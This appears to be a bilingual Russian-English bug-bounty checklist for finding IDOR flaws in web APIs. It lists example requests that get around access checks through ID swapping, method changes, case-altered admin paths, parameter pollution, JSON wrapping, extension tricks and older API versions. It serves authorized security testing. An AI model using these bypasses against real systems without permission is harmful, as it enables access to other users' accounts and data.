Базовые шаги:

1. Create two accounts if possible or else enumerate users first. 
2. Check if the endpoint is private or public and does it contains any kind of id param.
3. Try changing the param value to some other user and see if does anything to their account.
4. Done !!

try if you can idor to view image of any profille

[ ] информационный счет

[ ] ПРОСМОТР И УДАЛЕНИЕ и создание api_key

[ ] позволяет прочитать любой комментарий

[ ] изменить цену

[ ] поменять монету с доллара на евро

[ ] Попробуйте декодировать идентификатор, если идентификатор закодирован с использованием md5, base64 и т. д.

GET /GetUser/dmljdGltQG1haWwuY29t
[...]

GET /users/delete/victim_id  ->403
POST /users/delete/victim_id ->200

Instead of this:
GET /api/albums?album_id=<album id>
Try This:
GET /api/albums?account_id=<account id>
Tip: There is a Burp extension called Paramalyzer which will help with this by remembering all the parameters you have passed to a host.

POST /users/delete/victim_id          ->403
POST /users/delete/my_id/..victim_id  ->200

Content-Type: application/xml ->
Content-Type: application/json

GET /file?id=90djbkdbkdbd29dd
GET /file?id=302

GET /admin/profile ->401
GET /Admin/profile ->200
GET /ADMIN/profile ->200
GET /aDmin/profile ->200
GET /adMin/profile ->200
GET /admIn/profile ->200
GET /admiN/profile ->200

GET /api/users/user_id ->
GET /api/users/*

for hashed ID ,create multiple accounts and understand the ppattern application users to allot an iD

search all the endpoints having ID which the search engine may have already indexed

use tools like arjun , paramminer

GET /api_v1/messages ->200
GET /api_v1/messages?user_id=victim_uuid ->200

GET /api_v1/messages?user_id=attacker_id&user_id=victim_id
GET /api_v1/messages?user_id=victim_id&user_id=attacker_id

GET /user_data/2341        -> 401
GET /user_data/2341.json   -> 200
GET /user_data/2341.xml    -> 200
GET /user_data/2341.config -> 200
GET /user_data/2341.txt    -> 200

{"userid":1234,"userid":2542}

{"userid":123} ->401
{"userid":[123]} ->200

{"userid":123} ->401
{"userid":{"userid":123}} ->200

GET /v3/users_data/1234 ->401
GET /v1/users_data/1234 ->200

GET /graphql
[...]
GET /graphql.php?query=
[...]

бизнес-логика , регистрация уязвимости , обход 2fa , аутентификация

Весь контрольный список в этом репо

https://github.com/Az0x7/vulnerability-Checklist

за мной

• линкедин , твиттер